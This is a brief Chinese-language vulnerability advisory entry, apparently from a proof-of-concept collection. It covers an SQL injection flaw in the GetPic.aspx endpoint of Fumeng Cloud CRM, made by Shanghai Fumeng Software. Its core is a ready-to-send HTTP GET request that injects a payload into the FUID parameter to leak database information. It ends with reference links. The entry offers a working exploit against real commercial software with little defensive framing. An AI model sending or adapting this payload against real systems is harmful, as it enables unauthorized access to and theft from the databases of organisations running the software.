Description
上海孚盟软件有限公司孚盟云存在SQL注入漏洞。攻击者可利用漏洞获取数据库敏感信息。
孚盟云CRM GetPic SQL注入漏洞
PoC
GET /Common/GetPic.aspx?FUID=-1'and+1=@@VERSION-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/fumacrm-GetPic-FUID-sqli.html
https://ddpoc.com/DVB-2025-9652.html
https://www.wlaqsys.com/archives/12021
https://nosec.org/m/share/5899.html
https://cn-sec.com/archives/4391740.html